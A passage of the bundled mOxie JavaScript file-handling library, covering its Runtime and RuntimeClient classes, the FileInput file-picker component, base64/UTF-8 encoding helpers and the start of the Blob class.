2248 instance: new _shim[comp]()
2249 };
2250 }
2251 if (objpool[uid].instance[fn]) {
2252 return objpool[uid].instance[fn].apply(this, args);
2253 }
2254 }
2255 },
2256
2257 removeInstance: function(uid) {
2258 delete objpool[uid];
2259 },
2260
2261 removeAllInstances: function() {
2262 var self = this;
2263 Basic.each(objpool, function(obj, uid) {
2264 if (Basic.typeOf(obj.instance.destroy) === 'function') {
2265 obj.instance.destroy.call(obj.context);
2266 }
2267 self.removeInstance(uid);
2268 });
2269 }
2270 };
2271 }());
2272
2273
2274 // public methods
2275 Basic.extend(this, {
2276 /**
2277 Specifies whether runtime instance was initialized or not
2278
2279 @property initialized
2280 @type {Boolean}
2281 @default false
2282 */
2283 initialized: false, // shims require this flag to stop initialization retries
2284
2285 /**
2286 Unique ID of the runtime
2287
2288 @property uid
2289 @type {String}
2290 */
2291 uid: _uid,
2292
2293 /**
2294 Runtime type (e.g. flash, html5, etc)
2295
2296 @property type
2297 @type {String}
2298 */
2299 type: type,
2300
2301 /**
2302 Runtime (not native one) may operate in browser or client mode.
2303
2304 @property mode
2305 @private
2306 @type {String|Boolean} current mode or false, if none possible
2307 */
2308 mode: Runtime.getMode(modeCaps, (options.required_caps), defaultMode),
2309
2310 /**
2311 id of the DOM container for the runtime (if available)
2312
2313 @property shimid
2314 @type {String}
2315 */
2316 shimid: _uid + '_container',
2317
2318 /**
2319 Number of connected clients. If equal to zero, runtime can be destroyed
2320
2321 @property clients
2322 @type {Number}
2323 */
2324 clients: 0,
2325
2326 /**
2327 Runtime initialization options
2328
2329 @property options
2330 @type {Object}
2331 */
2332 options: options,
2333
2334 /**
2335 Checks if the runtime has specific capability
2336
2337 @method can
2338 @param {String} cap Name of capability to check
2339 @param {Mixed} [value] If passed, capability should somehow correlate to the value
2340 @param {Object} [refCaps] Set of capabilities to check the specified cap against (defaults to internal set)
2341 @return {Boolean} true if runtime has such capability and false, if - not
2342 */
2343 can: function(cap, value) {
2344 var refCaps = arguments[2] || caps;
2345
2346 // if cap var is a comma-separated list of caps, convert it to object (key/value)
2347 if (Basic.typeOf(cap) === 'string' && Basic.typeOf(value) === 'undefined') {
2348 cap = Runtime.parseCaps(cap);
2349 }
2350
2351 if (Basic.typeOf(cap) === 'object') {
2352 for (var key in cap) {
2353 if (!this.can(key, cap[key], refCaps)) {
2354 return false;
2355 }
2356 }
2357 return true;
2358 }
2359
2360 // check the individual cap
2361 if (Basic.typeOf(refCaps[cap]) === 'function') {
2362 return refCaps[cap].call(this, value);
2363 } else {
2364 return (value === refCaps[cap]);
2365 }
2366 },
2367
2368 /**
2369 Returns container for the runtime as DOM element
2370
2371 @method getShimContainer
2372 @return {DOMElement}
2373 */
2374 getShimContainer: function() {
2375 var container, shimContainer = Dom.get(this.shimid);
2376
2377 // if no container for shim, create one
2378 if (!shimContainer) {
2379 container = this.options.container ? Dom.get(this.options.container) : document.body;
2380
2381 // create shim container and insert it at an absolute position into the outer container
2382 shimContainer = document.createElement('div');
2383 shimContainer.id = this.shimid;
2384 shimContainer.className = 'moxie-shim moxie-shim-' + this.type;
2385
2386 Basic.extend(shimContainer.style, {
2387 position: 'absolute',
2388 top: '0px',
2389 left: '0px',
2390 width: '1px',
2391 height: '1px',
2392 overflow: 'hidden'
2393 });
2394
2395 container.appendChild(shimContainer);
2396 container = null;
2397 }
2398
2399 return shimContainer;
2400 },
2401
2402 /**
2403 Returns runtime as DOM element (if appropriate)
2404
2405 @method getShim
2406 @return {DOMElement}
2407 */
2408 getShim: function() {
2409 return _shim;
2410 },
2411
2412 /**
2413 Invokes a method within the runtime itself (might differ across the runtimes)
2414
2415 @method shimExec
2416 @param {Mixed} []
2417 @protected
2418 @return {Mixed} Depends on the action and component
2419 */
2420 shimExec: function(component, action) {
2421 var args = [].slice.call(arguments, 2);
2422 return self.getShim().exec.call(this, this.uid, component, action, args);
2423 },
2424
2425 /**
2426 Operaional interface that is used by components to invoke specific actions on the runtime
2427 (is invoked in the scope of component)
2428
2429 @method exec
2430 @param {Mixed} []*
2431 @protected
2432 @return {Mixed} Depends on the action and component
2433 */
2434 exec: function(component, action) { // this is called in the context of component, not runtime
2435 var args = [].slice.call(arguments, 2);
2436
2437 if (self[component] && self[component][action]) {
2438 return self[component][action].apply(this, args);
2439 }
2440 return self.shimExec.apply(this, arguments);
2441 },
2442
2443 /**
2444 Destroys the runtime (removes all events and deletes DOM structures)
2445
2446 @method destroy
2447 */
2448 destroy: function() {
2449 if (!self) {
2450 return; // obviously already destroyed
2451 }
2452
2453 var shimContainer = Dom.get(this.shimid);
2454 if (shimContainer) {
2455 shimContainer.parentNode.removeChild(shimContainer);
2456 }
2457
2458 if (_shim) {
2459 _shim.removeAllInstances();
2460 }
2461
2462 this.unbindAll();
2463 delete runtimes[this.uid];
2464 this.uid = null; // mark this runtime as destroyed
2465 _uid = self = _shim = shimContainer = null;
2466 }
2467 });
2468
2469 // once we got the mode, test against all caps
2470 if (this.mode && options.required_caps && !this.can(options.required_caps)) {
2471 this.mode = false;
2472 }
2473 }
2474
2475
2476 /**
2477 Default order to try different runtime types
2478
2479 @property order
2480 @type String
2481 @static
2482 */
2483 Runtime.order = 'html5,html4';
2484
2485
2486 /**
2487 Retrieves runtime from private hash by it's uid
2488
2489 @method getRuntime
2490 @private
2491 @static
2492 @param {String} uid Unique identifier of the runtime
2493 @return {Runtime|Boolean} Returns runtime, if it exists and false, if - not
2494 */
2495 Runtime.getRuntime = function(uid) {
2496 return runtimes[uid] ? runtimes[uid] : false;
2497 };
2498
2499
2500 /**
2501 Register constructor for the Runtime of new (or perhaps modified) type
2502
2503 @method addConstructor
2504 @static
2505 @param {String} type Runtime type (e.g. flash, html5, etc)
2506 @param {Function} construct Constructor for the Runtime type
2507 */
2508 Runtime.addConstructor = function(type, constructor) {
2509 constructor.prototype = EventTarget.instance;
2510 runtimeConstructors[type] = constructor;
2511 };
2512
2513
2514 /**
2515 Get the constructor for the specified type.
2516
2517 method getConstructor
2518 @static
2519 @param {String} type Runtime type (e.g. flash, html5, etc)
2520 @return {Function} Constructor for the Runtime type
2521 */
2522 Runtime.getConstructor = function(type) {
2523 return runtimeConstructors[type] || null;
2524 };
2525
2526
2527 /**
2528 Get info about the runtime (uid, type, capabilities)
2529
2530 @method getInfo
2531 @static
2532 @param {String} uid Unique identifier of the runtime
2533 @return {Mixed} Info object or null if runtime doesn't exist
2534 */
2535 Runtime.getInfo = function(uid) {
2536 var runtime = Runtime.getRuntime(uid);
2537
2538 if (runtime) {
2539 return {
2540 uid: runtime.uid,
2541 type: runtime.type,
2542 mode: runtime.mode,
2543 can: function() {
2544 return runtime.can.apply(runtime, arguments);
2545 }
2546 };
2547 }
2548 return null;
2549 };
2550
2551
2552 /**
2553 Convert caps represented by a comma-separated string to the object representation.
2554
2555 @method parseCaps
2556 @static
2557 @param {String} capStr Comma-separated list of capabilities
2558 @return {Object}
2559 */
2560 Runtime.parseCaps = function(capStr) {
2561 var capObj = {};
2562
2563 if (Basic.typeOf(capStr) !== 'string') {
2564 return capStr || {};
2565 }
2566
2567 Basic.each(capStr.split(','), function(key) {
2568 capObj[key] = true; // we assume it to be - true
2569 });
2570
2571 return capObj;
2572 };
2573
2574 /**
2575 Test the specified runtime for specific capabilities.
2576
2577 @method can
2578 @static
2579 @param {String} type Runtime type (e.g. flash, html5, etc)
2580 @param {String|Object} caps Set of capabilities to check
2581 @return {Boolean} Result of the test
2582 */
2583 Runtime.can = function(type, caps) {
2584 var runtime
2585 , constructor = Runtime.getConstructor(type)
2586 , mode
2587 ;
2588 if (constructor) {
2589 runtime = new constructor({
2590 required_caps: caps
2591 });
2592 mode = runtime.mode;
2593 runtime.destroy();
2594 return !!mode;
2595 }
2596 return false;
2597 };
2598
2599
2600 /**
2601 Figure out a runtime that supports specified capabilities.
2602
2603 @method thatCan
2604 @static
2605 @param {String|Object} caps Set of capabilities to check
2606 @param {String} [runtimeOrder] Comma-separated list of runtimes to check against
2607 @return {String} Usable runtime identifier or null
2608 */
2609 Runtime.thatCan = function(caps, runtimeOrder) {
2610 var types = (runtimeOrder || Runtime.order).split(/\s*,\s*/);
2611 for (var i in types) {
2612 if (Runtime.can(types[i], caps)) {
2613 return types[i];
2614 }
2615 }
2616 return null;
2617 };
2618
2619
2620 /**
2621 Figure out an operational mode for the specified set of capabilities.
2622
2623 @method getMode
2624 @static
2625 @param {Object} modeCaps Set of capabilities that depend on particular runtime mode
2626 @param {Object} [requiredCaps] Supplied set of capabilities to find operational mode for
2627 @param {String|Boolean} [defaultMode='browser'] Default mode to use
2628 @return {String|Boolean} Compatible operational mode
2629 */
2630 Runtime.getMode = function(modeCaps, requiredCaps, defaultMode) {
2631 var mode = null;
2632
2633 if (Basic.typeOf(defaultMode) === 'undefined') { // only if not specified
2634 defaultMode = 'browser';
2635 }
2636
2637 if (requiredCaps && !Basic.isEmptyObj(modeCaps)) {
2638 // loop over required caps and check if they do require the same mode
2639 Basic.each(requiredCaps, function(value, cap) {
2640 if (modeCaps.hasOwnProperty(cap)) {
2641 var capMode = modeCaps[cap](value);
2642
2643 // make sure we always have an array
2644 if (typeof(capMode) === 'string') {
2645 capMode = [capMode];
2646 }
2647
2648 if (!mode) {
2649 mode = capMode;
2650 } else if (!(mode = Basic.arrayIntersect(mode, capMode))) {
2651 // if cap requires conflicting mode - runtime cannot fulfill required caps
2652
2653 if (MXI_DEBUG && Env.debug.runtime) {
2654 Env.log("\t\t%c: %v (conflicting mode requested: %s)", cap, value, capMode);
2655 }
2656
2657 return (mode = false);
2658 }
2659 }
2660
2661 if (MXI_DEBUG && Env.debug.runtime) {
2662 Env.log("\t\t%c: %v (compatible modes: %s)", cap, value, mode);
2663 }
2664 });
2665
2666 if (mode) {
2667 return Basic.inArray(defaultMode, mode) !== -1 ? defaultMode : mode[0];
2668 } else if (mode === false) {
2669 return false;
2670 }
2671 }
2672 return defaultMode;
2673 };
2674
2675
2676 /**
2677 Capability check that always returns true
2678
2679 @private
2680 @static
2681 @return {True}
2682 */
2683 Runtime.capTrue = function() {
2684 return true;
2685 };
2686
2687 /**
2688 Capability check that always returns false
2689
2690 @private
2691 @static
2692 @return {False}
2693 */
2694 Runtime.capFalse = function() {
2695 return false;
2696 };
2697
2698 /**
2699 Evaluate the expression to boolean value and create a function that always returns it.
2700
2701 @private
2702 @static
2703 @param {Mixed} expr Expression to evaluate
2704 @return {Function} Function returning the result of evaluation
2705 */
2706 Runtime.capTest = function(expr) {
2707 return function() {
2708 return !!expr;
2709 };
2710 };
2711
2712 return Runtime;
2713});
2714
2715// Included from: src/javascript/runtime/RuntimeClient.js
2716
2717/**
2718 * RuntimeClient.js
2719 *
2720 * Copyright 2013, Moxiecode Systems AB
2721 * Released under GPL License.
2722 *
2723 * License: http://www.plupload.com/license
2724 * Contributing: http://www.plupload.com/contributing
2725 */
2726
2727define('moxie/runtime/RuntimeClient', [
2728 'moxie/core/utils/Env',
2729 'moxie/core/Exceptions',
2730 'moxie/core/utils/Basic',
2731 'moxie/runtime/Runtime'
2732], function(Env, x, Basic, Runtime) {
2733 /**
2734 Set of methods and properties, required by a component to acquire ability to connect to a runtime
2735
2736 @class RuntimeClient
2737 */
2738 return function RuntimeClient() {
2739 var runtime;
2740
2741 Basic.extend(this, {
2742 /**
2743 Connects to the runtime specified by the options. Will either connect to existing runtime or create a new one.
2744 Increments number of clients connected to the specified runtime.
2745
2746 @private
2747 @method connectRuntime
2748 @param {Mixed} options Can be a runtme uid or a set of key-value pairs defining requirements and pre-requisites
2749 */
2750 connectRuntime: function(options) {
2751 var comp = this, ruid;
2752
2753 function initialize(items) {
2754 var type, constructor;
2755
2756 // if we ran out of runtimes
2757 if (!items.length) {
2758 comp.trigger('RuntimeError', new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR));
2759 runtime = null;
2760 return;
2761 }
2762
2763 type = items.shift().toLowerCase();
2764 constructor = Runtime.getConstructor(type);
2765 if (!constructor) {
2766 initialize(items);
2767 return;
2768 }
2769
2770 if (MXI_DEBUG && Env.debug.runtime) {
2771 Env.log("Trying runtime: %s", type);
2772 Env.log(options);
2773 }
2774
2775 // try initializing the runtime
2776 runtime = new constructor(options);
2777
2778 runtime.bind('Init', function() {
2779 // mark runtime as initialized
2780 runtime.initialized = true;
2781
2782 if (MXI_DEBUG && Env.debug.runtime) {
2783 Env.log("Runtime '%s' initialized", runtime.type);
2784 }
2785
2786 // jailbreak ...
2787 setTimeout(function() {
2788 runtime.clients++;
2789 // this will be triggered on component
2790 comp.trigger('RuntimeInit', runtime);
2791 }, 1);
2792 });
2793
2794 runtime.bind('Error', function() {
2795 if (MXI_DEBUG && Env.debug.runtime) {
2796 Env.log("Runtime '%s' failed to initialize", runtime.type);
2797 }
2798
2799 runtime.destroy(); // runtime cannot destroy itself from inside at a right moment, thus we do it here
2800 initialize(items);
2801 });
2802
2803 /*runtime.bind('Exception', function() { });*/
2804
2805 if (MXI_DEBUG && Env.debug.runtime) {
2806 Env.log("\tselected mode: %s", runtime.mode);
2807 }
2808
2809 // check if runtime managed to pick-up operational mode
2810 if (!runtime.mode) {
2811 runtime.trigger('Error');
2812 return;
2813 }
2814
2815 runtime.init();
2816 }
2817
2818 // check if a particular runtime was requested
2819 if (Basic.typeOf(options) === 'string') {
2820 ruid = options;
2821 } else if (Basic.typeOf(options.ruid) === 'string') {
2822 ruid = options.ruid;
2823 }
2824
2825 if (ruid) {
2826 runtime = Runtime.getRuntime(ruid);
2827 if (runtime) {
2828 runtime.clients++;
2829 return runtime;
2830 } else {
2831 // there should be a runtime and there's none - weird case
2832 throw new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR);
2833 }
2834 }
2835
2836 // initialize a fresh one, that fits runtime list and required features best
2837 initialize((options.runtime_order || Runtime.order).split(/\s*,\s*/));
2838 },
2839
2840
2841 /**
2842 Disconnects from the runtime. Decrements number of clients connected to the specified runtime.
2843
2844 @private
2845 @method disconnectRuntime
2846 */
2847 disconnectRuntime: function() {
2848 if (runtime && --runtime.clients <= 0) {
2849 runtime.destroy();
2850 }
2851
2852 // once the component is disconnected, it shouldn't have access to the runtime
2853 runtime = null;
2854 },
2855
2856
2857 /**
2858 Returns the runtime to which the client is currently connected.
2859
2860 @method getRuntime
2861 @return {Runtime} Runtime or null if client is not connected
2862 */
2863 getRuntime: function() {
2864 if (runtime && runtime.uid) {
2865 return runtime;
2866 }
2867 return runtime = null; // make sure we do not leave zombies rambling around
2868 },
2869
2870
2871 /**
2872 Handy shortcut to safely invoke runtime extension methods.
2873
2874 @private
2875 @method exec
2876 @return {Mixed} Whatever runtime extension method returns
2877 */
2878 exec: function() {
2879 if (runtime) {
2880 return runtime.exec.apply(this, arguments);
2881 }
2882 return null;
2883 }
2884
2885 });
2886 };
2887
2888
2889});
2890
2891// Included from: src/javascript/file/FileInput.js
2892
2893/**
2894 * FileInput.js
2895 *
2896 * Copyright 2013, Moxiecode Systems AB
2897 * Released under GPL License.
2898 *
2899 * License: http://www.plupload.com/license
2900 * Contributing: http://www.plupload.com/contributing
2901 */
2902
2903define('moxie/file/FileInput', [
2904 'moxie/core/utils/Basic',
2905 'moxie/core/utils/Env',
2906 'moxie/core/utils/Mime',
2907 'moxie/core/utils/Dom',
2908 'moxie/core/Exceptions',
2909 'moxie/core/EventTarget',
2910 'moxie/core/I18n',
2911 'moxie/runtime/Runtime',
2912 'moxie/runtime/RuntimeClient'
2913], function(Basic, Env, Mime, Dom, x, EventTarget, I18n, Runtime, RuntimeClient) {
2914 /**
2915 Provides a convenient way to create cross-browser file-picker. Generates file selection dialog on click,
2916 converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory
2917 with _FileReader_ or uploaded to a server through _XMLHttpRequest_.
2918
2919 @class FileInput
2920 @constructor
2921 @extends EventTarget
2922 @uses RuntimeClient
2923 @param {Object|String|DOMElement} options If options is string or node, argument is considered as _browse\_button_.
2924 @param {String|DOMElement} options.browse_button DOM Element to turn into file picker.
2925 @param {Array} [options.accept] Array of mime types to accept. By default accepts all.
2926 @param {String} [options.file='file'] Name of the file field (not the filename).
2927 @param {Boolean} [options.multiple=false] Enable selection of multiple files.
2928 @param {Boolean} [options.directory=false] Turn file input into the folder input (cannot be both at the same time).
2929 @param {String|DOMElement} [options.container] DOM Element to use as a container for file-picker. Defaults to parentNode
2930 for _browse\_button_.
2931 @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support.
2932
2933 @example
2934 <div id="container">
2935 <a id="file-picker" href="javascript:;">Browse...</a>
2936 </div>
2937
2938 <script>
2939 var fileInput = new mOxie.FileInput({
2940 browse_button: 'file-picker', // or document.getElementById('file-picker')
2941 container: 'container',
2942 accept: [
2943 {title: "Image files", extensions: "jpg,gif,png"} // accept only images
2944 ],
2945 multiple: true // allow multiple file selection
2946 });
2947
2948 fileInput.onchange = function(e) {
2949 // do something to files array
2950 console.info(e.target.files); // or this.files or fileInput.files
2951 };
2952
2953 fileInput.init(); // initialize
2954 </script>
2955 */
2956 var dispatches = [
2957 /**
2958 Dispatched when runtime is connected and file-picker is ready to be used.
2959
2960 @event ready
2961 @param {Object} event
2962 */
2963 'ready',
2964
2965 /**
2966 Dispatched right after [ready](#event_ready) event, and whenever [refresh()](#method_refresh) is invoked.
2967 Check [corresponding documentation entry](#method_refresh) for more info.
2968
2969 @event refresh
2970 @param {Object} event
2971 */
2972
2973 /**
2974 Dispatched when selection of files in the dialog is complete.
2975
2976 @event change
2977 @param {Object} event
2978 */
2979 'change',
2980
2981 'cancel', // TODO: might be useful
2982
2983 /**
2984 Dispatched when mouse cursor enters file-picker area. Can be used to style element
2985 accordingly.
2986
2987 @event mouseenter
2988 @param {Object} event
2989 */
2990 'mouseenter',
2991
2992 /**
2993 Dispatched when mouse cursor leaves file-picker area. Can be used to style element
2994 accordingly.
2995
2996 @event mouseleave
2997 @param {Object} event
2998 */
2999 'mouseleave',
3000
3001 /**
3002 Dispatched when functional mouse button is pressed on top of file-picker area.
3003
3004 @event mousedown
3005 @param {Object} event
3006 */
3007 'mousedown',
3008
3009 /**
3010 Dispatched when functional mouse button is released on top of file-picker area.
3011
3012 @event mouseup
3013 @param {Object} event
3014 */
3015 'mouseup'
3016 ];
3017
3018 function FileInput(options) {
3019 if (MXI_DEBUG) {
3020 Env.log("Instantiating FileInput...");
3021 }
3022
3023 var self = this,
3024 container, browseButton, defaults;
3025
3026 // if flat argument passed it should be browse_button id
3027 if (Basic.inArray(Basic.typeOf(options), ['string', 'node']) !== -1) {
3028 options = { browse_button : options };
3029 }
3030
3031 // this will help us to find proper default container
3032 browseButton = Dom.get(options.browse_button);
3033 if (!browseButton) {
3034 // browse button is required
3035 throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
3036 }
3037
3038 // figure out the options
3039 defaults = {
3040 accept: [{
3041 title: I18n.translate('All Files'),
3042 extensions: '*'
3043 }],
3044 name: 'file',
3045 multiple: false,
3046 required_caps: false,
3047 container: browseButton.parentNode || document.body
3048 };
3049
3050 options = Basic.extend({}, defaults, options);
3051
3052 // convert to object representation
3053 if (typeof(options.required_caps) === 'string') {
3054 options.required_caps = Runtime.parseCaps(options.required_caps);
3055 }
3056
3057 // normalize accept option (could be list of mime types or array of title/extensions pairs)
3058 if (typeof(options.accept) === 'string') {
3059 options.accept = Mime.mimes2extList(options.accept);
3060 }
3061
3062 container = Dom.get(options.container);
3063 // make sure we have container
3064 if (!container) {
3065 container = document.body;
3066 }
3067
3068 // make container relative, if it's not
3069 if (Dom.getStyle(container, 'position') === 'static') {
3070 container.style.position = 'relative';
3071 }
3072
3073 container = browseButton = null; // IE
3074
3075 RuntimeClient.call(self);
3076
3077 Basic.extend(self, {
3078 /**
3079 Unique id of the component
3080
3081 @property uid
3082 @protected
3083 @readOnly
3084 @type {String}
3085 @default UID
3086 */
3087 uid: Basic.guid('uid_'),
3088
3089 /**
3090 Unique id of the connected runtime, if any.
3091
3092 @property ruid
3093 @protected
3094 @type {String}
3095 */
3096 ruid: null,
3097
3098 /**
3099 Unique id of the runtime container. Useful to get hold of it for various manipulations.
3100
3101 @property shimid
3102 @protected
3103 @type {String}
3104 */
3105 shimid: null,
3106
3107 /**
3108 Array of selected mOxie.File objects
3109
3110 @property files
3111 @type {Array}
3112 @default null
3113 */
3114 files: null,
3115
3116 /**
3117 Initializes the file-picker, connects it to runtime and dispatches event ready when done.
3118
3119 @method init
3120 */
3121 init: function() {
3122 self.bind('RuntimeInit', function(e, runtime) {
3123 self.ruid = runtime.uid;
3124 self.shimid = runtime.shimid;
3125
3126 self.bind("Ready", function() {
3127 self.trigger("Refresh");
3128 }, 999);
3129
3130 // re-position and resize shim container
3131 self.bind('Refresh', function() {
3132 var pos, size, browseButton, shimContainer;
3133
3134 browseButton = Dom.get(options.browse_button);
3135 shimContainer = Dom.get(runtime.shimid); // do not use runtime.getShimContainer(), since it will create container if it doesn't exist
3136
3137 if (browseButton) {
3138 pos = Dom.getPos(browseButton, Dom.get(options.container));
3139 size = Dom.getSize(browseButton);
3140
3141 if (shimContainer) {
3142 Basic.extend(shimContainer.style, {
3143 top : pos.y + 'px',
3144 left : pos.x + 'px',
3145 width : size.w + 'px',
3146 height : size.h + 'px'
3147 });
3148 }
3149 }
3150 shimContainer = browseButton = null;
3151 });
3152
3153 runtime.exec.call(self, 'FileInput', 'init', options);
3154 });
3155
3156 // runtime needs: options.required_features, options.runtime_order and options.container
3157 self.connectRuntime(Basic.extend({}, options, {
3158 required_caps: {
3159 select_file: true
3160 }
3161 }));
3162 },
3163
3164 /**
3165 Disables file-picker element, so that it doesn't react to mouse clicks.
3166
3167 @method disable
3168 @param {Boolean} [state=true] Disable component if - true, enable if - false
3169 */
3170 disable: function(state) {
3171 var runtime = this.getRuntime();
3172 if (runtime) {
3173 runtime.exec.call(this, 'FileInput', 'disable', Basic.typeOf(state) === 'undefined' ? true : state);
3174 }
3175 },
3176
3177
3178 /**
3179 Reposition and resize dialog trigger to match the position and size of browse_button element.
3180
3181 @method refresh
3182 */
3183 refresh: function() {
3184 self.trigger("Refresh");
3185 },
3186
3187
3188 /**
3189 Destroy component.
3190
3191 @method destroy
3192 */
3193 destroy: function() {
3194 var runtime = this.getRuntime();
3195 if (runtime) {
3196 runtime.exec.call(this, 'FileInput', 'destroy');
3197 this.disconnectRuntime();
3198 }
3199
3200 if (Basic.typeOf(this.files) === 'array') {
3201 // no sense in leaving associated files behind
3202 Basic.each(this.files, function(file) {
3203 file.destroy();
3204 });
3205 }
3206 this.files = null;
3207
3208 this.unbindAll();
3209 }
3210 });
3211
3212 this.handleEventProps(dispatches);
3213 }
3214
3215 FileInput.prototype = EventTarget.instance;
3216
3217 return FileInput;
3218});
3219
3220// Included from: src/javascript/core/utils/Encode.js
3221
3222/**
3223 * Encode.js
3224 *
3225 * Copyright 2013, Moxiecode Systems AB
3226 * Released under GPL License.
3227 *
3228 * License: http://www.plupload.com/license
3229 * Contributing: http://www.plupload.com/contributing
3230 */
3231
3232define('moxie/core/utils/Encode', [], function() {
3233
3234 /**
3235 Encode string with UTF-8
3236
3237 @method utf8_encode
3238 @for Utils
3239 @static
3240 @param {String} str String to encode
3241 @return {String} UTF-8 encoded string
3242 */
3243 var utf8_encode = function(str) {
3244 return unescape(encodeURIComponent(str));
3245 };
3246
3247 /**
3248 Decode UTF-8 encoded string
3249
3250 @method utf8_decode
3251 @static
3252 @param {String} str String to decode
3253 @return {String} Decoded string
3254 */
3255 var utf8_decode = function(str_data) {
3256 return decodeURIComponent(escape(str_data));
3257 };
3258
3259 /**
3260 Decode Base64 encoded string (uses browser's default method if available),
3261 from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_decode.js
3262
3263 @method atob
3264 @static
3265 @param {String} data String to decode
3266 @return {String} Decoded string
3267 */
3268 var atob = function(data, utf8) {
3269 if (typeof(window.atob) === 'function') {
3270 return utf8 ? utf8_decode(window.atob(data)) : window.atob(data);
3271 }
3272
3273 // http://kevin.vanzonneveld.net
3274 // + original by: Tyler Akins (http://rumkin.com)
3275 // + improved by: Thunder.m
3276 // + input by: Aman Gupta
3277 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3278 // + bugfixed by: Onno Marsman
3279 // + bugfixed by: Pellentesque Malesuada
3280 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3281 // + input by: Brett Zamir (http://brett-zamir.me)
3282 // + bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3283 // * example 1: base64_decode('S2V2aW4gdmFuIFpvbm5ldmVsZA==');
3284 // * returns 1: 'Kevin van Zonneveld'
3285 // mozilla has this native
3286 // - but breaks in 2.0.0.12!
3287 //if (typeof this.window.atob == 'function') {
3288 // return atob(data);
3289 //}
3290 var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
3291 var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
3292 ac = 0,
3293 dec = "",
3294 tmp_arr = [];
3295
3296 if (!data) {
3297 return data;
3298 }
3299
3300 data += '';
3301
3302 do { // unpack four hexets into three octets using index points in b64
3303 h1 = b64.indexOf(data.charAt(i++));
3304 h2 = b64.indexOf(data.charAt(i++));
3305 h3 = b64.indexOf(data.charAt(i++));
3306 h4 = b64.indexOf(data.charAt(i++));
3307
3308 bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
3309
3310 o1 = bits >> 16 & 0xff;
3311 o2 = bits >> 8 & 0xff;
3312 o3 = bits & 0xff;
3313
3314 if (h3 == 64) {
3315 tmp_arr[ac++] = String.fromCharCode(o1);
3316 } else if (h4 == 64) {
3317 tmp_arr[ac++] = String.fromCharCode(o1, o2);
3318 } else {
3319 tmp_arr[ac++] = String.fromCharCode(o1, o2, o3);
3320 }
3321 } while (i < data.length);
3322
3323 dec = tmp_arr.join('');
3324
3325 return utf8 ? utf8_decode(dec) : dec;
3326 };
3327
3328 /**
3329 Base64 encode string (uses browser's default method if available),
3330 from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_encode.js
3331
3332 @method btoa
3333 @static
3334 @param {String} data String to encode
3335 @return {String} Base64 encoded string
3336 */
3337 var btoa = function(data, utf8) {
3338 if (utf8) {
3339 data = utf8_encode(data);
3340 }
3341
3342 if (typeof(window.btoa) === 'function') {
3343 return window.btoa(data);
3344 }
3345
3346 // http://kevin.vanzonneveld.net
3347 // + original by: Tyler Akins (http://rumkin.com)
3348 // + improved by: Bayron Guevara
3349 // + improved by: Thunder.m
3350 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3351 // + bugfixed by: Pellentesque Malesuada
3352 // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
3353 // + improved by: Rafał Kukawski (http://kukawski.pl)
3354 // * example 1: base64_encode('Kevin van Zonneveld');
3355 // * returns 1: 'S2V2aW4gdmFuIFpvbm5ldmVsZA=='
3356 // mozilla has this native
3357 // - but breaks in 2.0.0.12!
3358 var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
3359 var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
3360 ac = 0,
3361 enc = "",
3362 tmp_arr = [];
3363
3364 if (!data) {
3365 return data;
3366 }
3367
3368 do { // pack three octets into four hexets
3369 o1 = data.charCodeAt(i++);
3370 o2 = data.charCodeAt(i++);
3371 o3 = data.charCodeAt(i++);
3372
3373 bits = o1 << 16 | o2 << 8 | o3;
3374
3375 h1 = bits >> 18 & 0x3f;
3376 h2 = bits >> 12 & 0x3f;
3377 h3 = bits >> 6 & 0x3f;
3378 h4 = bits & 0x3f;
3379
3380 // use hexets to index into b64, and append result to encoded string
3381 tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
3382 } while (i < data.length);
3383
3384 enc = tmp_arr.join('');
3385
3386 var r = data.length % 3;
3387
3388 return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
3389 };
3390
3391
3392 return {
3393 utf8_encode: utf8_encode,
3394 utf8_decode: utf8_decode,
3395 atob: atob,
3396 btoa: btoa
3397 };
3398});
3399
3400// Included from: src/javascript/file/Blob.js
3401
3402/**
3403 * Blob.js
3404 *
3405 * Copyright 2013, Moxiecode Systems AB
3406 * Released under GPL License.
3407 *
3408 * License: http://www.plupload.com/license
3409 * Contributing: http://www.plupload.com/contributing
3410 */
3411
3412define('moxie/file/Blob', [
3413 'moxie/core/utils/Basic',
3414 'moxie/core/utils/Encode',
3415 'moxie/runtime/RuntimeClient'
3416], function(Basic, Encode, RuntimeClient) {
3417
3418 var blobpool = {};
3419
3420 /**
3421 @class Blob
3422 @constructor
3423 @param {String} ruid Unique id of the runtime, to which this blob belongs to
3424 @param {Object} blob Object "Native" blob object, as it is represented in the runtime
3425 */
3426 function Blob(ruid, blob) {
3427
3428 function _sliceDetached(start, end, type) {
3429 var blob, data = blobpool[this.uid];
3430
3431 if (Basic.typeOf(data) !== 'string' || !data.length) {
3432 return null; // or throw exception
3433 }
3434
3435 blob = new Blob(null, {
3436 type: type,
3437 size: end - start
3438 });
3439 blob.detach(data.substr(start, blob.size));
3440
3441 return blob;
3442 }
3443
3444 RuntimeClient.call(this);
3445
3446 if (ruid) {
3447 this.connectRuntime(ruid);
3448 }
3449
3450 if (!blob) {
3451 blob = {};
3452 } else if (Basic.typeOf(blob) === 'string') { // dataUrl or binary string
3453 blob = { data: blob };
3454 }
3455
3456 Basic.extend(this, {
3457
3458 /**
3459 Unique id of the component
3460
3461 @property uid
3462 @type {String}
3463 */
3464 uid: blob.uid || Basic.guid('uid_'),
3465
3466 /**
